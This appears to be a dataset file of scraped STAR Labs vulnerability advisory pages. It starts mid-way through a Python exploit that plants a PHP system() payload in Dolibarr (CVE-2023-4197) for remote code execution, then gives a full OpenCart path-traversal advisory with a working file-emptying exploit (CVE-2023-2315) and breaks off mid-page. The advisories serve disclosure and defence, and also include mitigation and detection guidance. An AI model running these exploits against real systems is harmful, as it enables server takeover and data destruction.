</span></span><span class="line"><span class="cl"> <span class="n">csrf_token</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s2">"</span><span class="se">\"</span><span class="s2">anti-csrf-newtoken</span><span class="se">\"</span><span class="s2"> content=</span><span class="se">\"</span><span class="s2">(.+)</span><span class="se">\"</span><span class="s2">"</span><span class="p">,</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">)</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># Login</span>
</span></span><span class="line"><span class="cl"> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"token"</span><span class="p">:</span> <span class="n">csrf_token</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"username"</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"password"</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"actionlogin"</span><span class="p">:</span> <span class="s2">"login"</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="s2">"Logout"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Authentication failed! Are the credentials valid?"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Authenticated successfully!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">rce</span><span class="p">():</span>
</span></span><span class="line"><span class="cl"> <span class="c1"># Create web site</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Attempting to create a website..."</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">website_name</span> <span class="o">=</span> <span class="n">uuid</span><span class="o">.</span><span class="n">uuid4</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span>
</span></span><span class="line"><span class="cl"> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"WEBSITE_REF"</span><span class="p">:</span> <span class="n">website_name</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"token"</span><span class="p">:</span> <span class="n">csrf_token</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"action"</span><span class="p">:</span> <span class="s2">"addsite"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"WEBSITE_LANG"</span><span class="p">:</span> <span class="s2">"en"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"addcontainer"</span><span class="p">:</span> <span class="s2">"create"</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/website/index.php"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="sa">f</span><span class="s2">"Website - </span><span class="si">{</span><span class="n">website_name</span><span class="si">}</span><span class="s2">"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Website creation failed!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"[+] Created website name: </span><span class="se">\"</span><span class="si">{</span><span class="n">website_name</span><span class="si">}</span><span class="se">\"</span><span class="s2">!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># Create web page</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Attempting to create a web page..."</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">webpage_name</span> <span class="o">=</span> <span class="n">uuid</span><span class="o">.</span><span class="n">uuid4</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span>
</span></span><span class="line"><span class="cl"> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"website"</span><span class="p">:</span> <span class="n">website_name</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"token"</span><span class="p">:</span> <span class="n">csrf_token</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"action"</span><span class="p">:</span> <span class="s2">"addcontainer"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"WEBSITE_TYPE_CONTAINER"</span><span class="p">:</span> <span class="s2">"page"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"WEBSITE_TITLE"</span><span class="p">:</span> <span class="s2">"x"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"WEBSITE_PAGENAME"</span><span class="p">:</span> <span class="n">webpage_name</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/website/index.php"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="sa">f</span><span class="s2">"Contenair </span><span class="se">\\</span><span class="s2">'</span><span class="si">{</span><span class="n">webpage_name</span><span class="si">}</span><span class="se">\\</span><span class="s2">' added"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Web page creation failed!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"[+] Created web page name: </span><span class="se">\"</span><span class="si">{</span><span class="n">webpage_name</span><span class="si">}</span><span class="se">\"</span><span class="s2">!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># Modify created page</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Attempting to modify the web page..."</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">webpage_id</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">f</span><span class="s2">"<option value=</span><span class="se">\"</span><span class="s2">(.+)</span><span class="se">\"</span><span class="s2"> .+</span><span class="si">{</span><span class="n">webpage_name</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">)</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"website"</span><span class="p">:</span> <span class="n">website_name</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"WEBSITE_PAGENAME"</span><span class="p">:</span> <span class="n">webpage_name</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"pageid"</span><span class="p">:</span> <span class="n">webpage_id</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"token"</span><span class="p">:</span> <span class="n">csrf_token</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"action"</span><span class="p">:</span> <span class="s2">"updatemeta"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"htmlheader"</span><span class="p">:</span> <span class="sa">f</span><span class="s2">"<? echo system('</span><span class="si">{</span><span class="n">cmd</span><span class="si">}</span><span class="s2">'); ?>"</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/website/index.php"</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="s2">"Saved"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Web page modification failed!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Web page modified successfully!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># Trigger RCE</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"[+] Triggering RCE now via: </span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/public/website/index.php?website=</span><span class="si">{</span><span class="n">website_name</span><span class="si">}</span><span class="s2">&pageref=</span><span class="si">{</span><span class="n">webpage_name</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/public/website/index.php?website=</span><span class="si">{</span><span class="n">website_name</span><span class="si">}</span><span class="s2">&pageref=</span><span class="si">{</span><span class="n">webpage_name</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="n">res</span><span class="o">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Web page is not reachable!"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="n">output</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s2">"block --></span><span class="se">\n</span><span class="s2">(.+)</head>"</span><span class="p">,</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">MULTILINE</span> <span class="o">|</span> <span class="n">re</span><span class="o">.</span><span class="n">DOTALL</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"[+] RCE successful! Output of command:</span><span class="se">\n\n</span><span class="si">{</span><span class="n">output</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl"> <span class="n">check_args</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="n">authenticate</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="n">rce</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p><img loading="lazy" src="/advisories/23/images/CVE-2023-4197_02.Exploit.gif" alt="" />
</p>
<h2 id="suggested-mitigations">Suggested Mitigations:<a hidden class="anchor" aria-hidden="true" href="#suggested-mitigations">#</a></h2>
<p>Update the Dolibarr installation to the latest version as shown from the official repository <a href="https://github.com/Dolibarr/dolibarr/releases">releases page</a>.</p>
<h2 id="detection-guidance">Detection Guidance:<a hidden class="anchor" aria-hidden="true" href="#detection-guidance">#</a></h2>
<p>It is possible to detect the exploitation of this vulnerability by checking the <code>/document/</code> directory (default upload directory) to see if there are any <code>.tpl</code> files containing <code><?</code> tags, and further inspecting the code contained within.</p>
<h2 id="credits">Credits:<a hidden class="anchor" aria-hidden="true" href="#credits">#</a></h2>
<p>Poh Jia Hao (<a href="https://twitter.com/Chocologicall">@Chocologicall</a>) of STAR Labs SG Pte. Ltd. (<a href="https://twitter.com/starlabs_sg">@starlabs_sg</a>)</p>
<h2 id="timeline">Timeline:<a hidden class="anchor" aria-hidden="true" href="#timeline">#</a></h2>
<ul>
<li>2023-09-04 Reported vulnerability to Dolibarr owner</li>
<li>2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch <a href="https://github.com/Dolibarr/dolibarr/commit/0ed6a63fb06be88be5a4f8bcdee83185eee4087e">commit</a>. Also mentioned that it will be in the next release</li>
<li>2023-10-11 New version containing patch released</li>
<li>2023-11-01 Public Release</li>
</ul>
</div>
<footer class="post-footer">
<ul class="post-tags">
</ul>
<nav class="paginav">
<a class="prev" href="https://starlabs.sg/advisories/23/23-1720/">
<span class="title">« Prev</span>
<br>
<span>(CVE-2023-1720) Bitrix24 Stored Cross-Site Scripting (XSS) via File Upload</span>
</a>
<a class="next" href="https://starlabs.sg/advisories/23/23-4198/">
<span class="title">Next »</span>
<br>
<span>(CVE-2023-4198) Dolibarr ERP CRM (<= 17.0.3) Improper Access Control</span>
</a>
</nav>
</footer>
</article>
</main>
<footer class="footer">
<span>© 2024 <a href="https://starlabs.sg/">STAR Labs</a></span>
<span>
Powered by
<a href="https://gohugo.io/" rel="noopener noreferrer" target="_blank">Hugo</a> &
<a href="https://git.io/hugopapermod" rel="noopener" target="_blank">PaperMod</a>
</span>
</footer>
<a href="#top" aria-label="go to top" title="Go to Top (Alt + G)" class="top-link" id="top-link" accesskey="g">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentColor">
<path d="M12 6H0l6-6z" />
</svg>
</a>
<script>
let menu = document.getElementById('menu')
if (menu) {
menu.scrollLeft = localStorage.getItem("menu-scroll-position");
menu.onscroll = function () {
localStorage.setItem("menu-scroll-position", menu.scrollLeft);
}
}
document.querySelectorAll('a[href^="#"]').forEach(anchor => {
anchor.addEventListener("click", function (e) {
e.preventDefault();
var id = this.getAttribute("href").substr(1);
if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {
document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({
behavior: "smooth"
});
} else {
document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView();
}
if (id === "top") {
history.replaceState(null, null, " ");
} else {
history.pushState(null, null, `#${id}`);
}
});
});
</script>
<script>
var mybutton = document.getElementById("top-link");
window.onscroll = function () {
if (document.body.scrollTop > 800 || document.documentElement.scrollTop > 800) {
mybutton.style.visibility = "visible";
mybutton.style.opacity = "1";
} else {
mybutton.style.visibility = "hidden";
mybutton.style.opacity = "0";
}
};
</script>
</body>
</html>
================================================
FILE: task1_source_code/test_examples/202
================================================
<!DOCTYPE html>
<html lang="en" dir="auto">
<head><meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="index, follow">
<title>(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2 | STAR Labs</title>
<meta name="keywords" content="">
<meta name="description" content="Summary: Product OpenCart Vendor OpenCart Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions. Affected Versions 4.0.0.0 - 4.0.2.2 Tested Version(s) 4.0.2.2 CVE Identifier CVE-2023-2315 CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.">
<meta name="author" content="Poh Jia Hao (@Chocologicall)">
<link rel="canonical" href="https://starlabs.sg/advisories/23/23-2315/">
<link crossorigin="anonymous" href="/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css" integrity="sha256-7I2jZsovtkdTfMt6j2+ltOnNPHoNMXHdLTuq0eSci/w=" rel="preload stylesheet" as="style">
<script defer crossorigin="anonymous" src="/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js" integrity="sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8="
onload="hljs.initHighlightingOnLoad();"></script>
<link rel="icon" href="https://starlabs.sg/logo-white.png">
<link rel="icon" type="image/png" sizes="16x16" href="https://starlabs.sg/logo-white.png">
<link rel="icon" type="image/png" sizes="32x32" href="https://starlabs.sg/logo-white.png">
<link rel="apple-touch-icon" href="https://starlabs.sg/logo-white.png">
<link rel="mask-icon" href="https://starlabs.sg/logo-white.png">
<meta name="theme-color" content="#2e2e33">
<meta name="msapplication-TileColor" content="#2e2e33">
<noscript>
<style>
#theme-toggle,
.top-link {
display: none;
}
</style>
</noscript>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ"></script>
<script>
var doNotTrack = false;
if (!doNotTrack) {
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });
}
</script>
<meta property="og:title" content="(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2" />
<meta property="og:description" content="Summary: Product OpenCart Vendor OpenCart Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions. Affected Versions 4.0.0.0 - 4.0.2.2 Tested Version(s) 4.0.2.2 CVE Identifier CVE-2023-2315 CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions." />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://starlabs.sg/advisories/23/23-2315/" /><meta property="og:image" content="https://starlabs.sg/logo-white.png"/><meta property="article:section" content="advisories" />
<meta property="article:published_time" content="2023-09-18T00:00:00+00:00" />
<meta property="article:modified_time" content="2023-09-18T00:00:00+00:00" /><meta property="og:site_name" content="STAR Labs" />
<meta name="twitter:card" content="summary_large_image"/>
<meta name="twitter:image" content="https://starlabs.sg/logo-white.png"/>
<meta name="twitter:title" content="(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2"/>
<meta name="twitter:description" content="Summary: Product OpenCart Vendor OpenCart Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions. Affected Versions 4.0.0.0 - 4.0.2.2 Tested Version(s) 4.0.2.2 CVE Identifier CVE-2023-2315 CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions."/>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "BreadcrumbList",
"itemListElement": [
{
"@type": "ListItem",
"position": 1 ,
"name": "Advisories",
"item": "https://starlabs.sg/advisories/"
},
{
"@type": "ListItem",
"position": 2 ,
"name": "(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2",
"item": "https://starlabs.sg/advisories/23/23-2315/"
}
]
}
</script>
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "BlogPosting",
"headline": "(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2",
"name": "(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2",
"description": "Summary: Product OpenCart Vendor OpenCart Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions. Affected Versions 4.0.0.0 - 4.0.2.2 Tested Version(s) 4.0.2.2 CVE Identifier CVE-2023-2315 CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.",
"keywords": [
],
"articleBody": "Summary: Product OpenCart Vendor OpenCart Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions. Affected Versions 4.0.0.0 - 4.0.2.2 Tested Version(s) 4.0.2.2 CVE Identifier CVE-2023-2315 CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions. CWE Classification(s) CWE-27 - Path Traversal: ‘dir/../../filename’ CAPEC Classification(s) CAPEC-126 - Path Traversal CVSS3.1 Scoring System: Base Score: 8.1 (High)\nVector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n Metric Value Attack Vector (AV) Network Attack Complexity (AC) Low Privileges Required (PR) Low User Interaction (UI) None Scope (S) Unchanged Confidentiality (C) None Integrity (I) High Availability (A) High Product Overview: Opencart is an open source ecommerce platform for online merchants to self-host and list their products for sale. It is structured in a way that allows for a quick setup and Opencart also provides a cloud solution for users who do not want to have an on-premise setup. Opencart is split into two fronts: a storefront containing a catalogue that regular users will access, as well as a backend administrative dashboard for management purposes. Account roles for the backend dashboard are highly customizable, allowing the owner of the website to initialise custom roles with different privileges and access, by using the fine-grained controls.\nVulnerability Summary: There is a path traversal vulnerability at the Logs section of the backend dashboard, which allows an authenticated adversary to empty any existing file on the web server, given that there is write permissions on the file. By default, every OpenCart file is able to be emptied. This means that the availability of the website will be heavily impacted by emptying the core files, preventing regular functionality of the website. This vulnerability was introduced from versions 4.0.0.0 onward and patched in version 4.0.2.3.\nVulnerability Details: A backend user with “access” and “modify” permissions on the “tool/log” setting is able to clear the logs of the website. When clearing the logs in a regular use case, a HTTP GET request is sent to delete the file “error.log”, by specifying it in the filename query parameter. The relevant code that is vulnerable can be found below:\n// /admin/controller/tool/log.php public function clear(): void { if (isset($this-request-get['filename'])) { $filename = (string)$this-request-get['filename']; // [1] } else { $filename = ''; } $json = []; if (!$this-user-hasPermission('modify', 'tool/log')) { $json['error'] = $this-language-get('error_permission'); } // DIR_LOGS = /system/storage/logs/ $file = DIR_LOGS . $filename; // [2] if (!is_file($file)) { $json['error'] = sprintf($this-language-get('error_file'), $filename); } if (!$json) { $handle = fopen($file, 'w+'); // [3] fclose($handle); $json['success'] = $this-language-get('text_success'); } // ... } At [1], the filename is obtained from the incoming HTTP GET request and stored into the $filename PHP variable without any form of input sanitisation. At [2], the file name is appended to the back of the storage log path /system/storage/logs/ and stored into another variable $file. At [3], the $file variable is used in a fopen() function call with the mode set to w+. This means that the existing file will have its content emptied. Since a file existence check occurs before this, it is not possible to create files that do not already exist.\nIn a normal scenario, the file /system/storage/logs/error.log will be emptied after the GET request is sent. However, since there is a lack of input sanitisation, it is possible for the filename query parameter to contain any number of path traversal sequence (../) to traverse out of the intended directory and point to other files instead. This results in other files being emptied and permanently affecting the website’s functionality.\nExploit Conditions: This vulnerability can be exploited when the attacker has a set of valid credentials to the backend dashboard with access and modify permissions on tool/log.\nProof-of-Concept: We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the Path Traversal vulnerability.\nThe vulnerability can be exploited by sending a GET request to https://TARGET_HOST/admin/index.php?route=tool/log.clear\u0026user_token=\u0026filename=../../../../../../tmp/PoC.txt, for example:\nGET /admin/index.php?route=tool/log.clear\u0026filename=../../../../../../tmp/PoC.txt\u0026user_token=4d6d604d8862798e96fe91846f28a36f HTTP/1.1 Host: TARGET_HOST Cookie: OCSESSID=4f09deedf4a82f9c5b4bee9ec3; Before running the exploit below, please ensure that you create a non-empty file /tmp/PoC.txt and that it has write permissions for the web user:\n$ echo \"Hello\" /tmp/PoC.txt $ chmod 777 /tmp/PoC.txt $ ls -la /tmp/PoC.txt -rwxrwxrwx 1 root root 6 Apr 26 09:36 /tmp/PoC.txt Then, run the exploit below:\n# Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) # Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.) #!/usr/bin/env python3 import re import requests import sys requests.packages.urllib3.disable_warnings() s = requests.Session() def check_args(): global target, username, password print(\"\\n======= Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) =======\") print(\"Please ensure that a file /tmp/PoC.txt with write permissions has been created on the target server with non-empty content!\\n\") if len(sys.argv) != 4: print(\"[!] Please enter the required arguments like so: python3 {}http://TARGET_URL/ADMIN_PATH/ USERNAME PASSWORD\".format(sys.argv[0])) sys.exit(1) target = sys.argv[1].strip(\"/\") username = sys.argv[2] password = sys.argv[3] def authenticate(): global user_token print(\"[+] Attempting to authenticate...\") # Get login_token path = f\"{target}/index.php\" res = s.get(path) login_token = re.findall(\"login_token=(.+)\\\"method\", res.text)[0] # Perform login and get user_token data = { \"username\": username, \"password\": password } path = f\"{target}/index.php?route=common/login.login\u0026login_token={login_token}\" res = s.post(path, data=data) user_token = re.findall(\"user_token=(.+)\\\"\", res.text)[0] if not user_token: print(\"[!] Failed to authenticate! Are the credentials correct?\") sys.exit(1) print(\"[+] Authenticated successfully.\") def delete(): print(\"[+] Attempting to empty /tmp/PoC.txt...\") # Empty /tmp/PoC.txt path = f\"{target}/index.php?route=tool/log.clear\u0026filename=../../../../../../tmp/PoC.txt\u0026user_token={user_token}\" res = s.get(path) print(f\"[+] Output: {res.text}\") def main(): check_args() authenticate() delete() if __name__ == \"__main__\": main() Suggested Mitigations: The patch 0a8dd91 addresses this vulnerability. It is recommended to apply this commit to your installation of OpenCart.\nDetection Guidance: It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all GET requests made to /admin/index.php?route=tool/log.clear, and filtering for requests that contain ../ in the filename query parameter.\nCredits: Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)\nTimeline: 2022-09-06 Followed the security bug reporting instructions and created an OpenCart forum account to try to report to the administrators, but new accounts are unable to send private messages. 2022-09-11 Email sent to support@opencart.com in an attempt to establish a proper communication channel with the project owner/maintainers. 2022-09-12 Support agent replied and suggested to describe the issue in a public channel via their GitHub Issues tracker, to which we reminded that it is a security bug on the latest version. Support agent then requested to send them the report where they will forward it to the developers. We instead requested for the public key of the developers so that the report can be encrypted to prevent information leakage. Support agent replied “they do not have such”. 2022-09-14 Tried the “Contact Us” form on OpenCart’s website. Ended up with a second support ticket being opened. 2022-09-15 Opened a GitHub Issue (#12684) in a last resort to establish a proper communication channel with the developers. Issue closed immediately by the project owner, and marked as spam. 2022-09-15 Email sent directly to webmaster@opencart.com as it is used for GitHub commits. 2022-09-15 Project owner replied and we sent the bug report over. 2022-09-15 Bug fixed in commit 0a8dd91 2023-09-18 Public Release ",
"wordCount" : "1187",
"inLanguage": "en",
"datePublished": "2023-09-18T00:00:00Z",
"dateModified": "2023-09-18T00:00:00Z",
"author":{
"@type": "Person",
"name": "Poh Jia Hao (@Chocologicall)"
},
"mainEntityOfPage": {
"@type": "WebPage",
"@id": "https://starlabs.sg/advisories/23/23-2315/"
},
"publisher": {
"@type": "Organization",
"name": "STAR Labs",
"logo": {
"@type": "ImageObject",
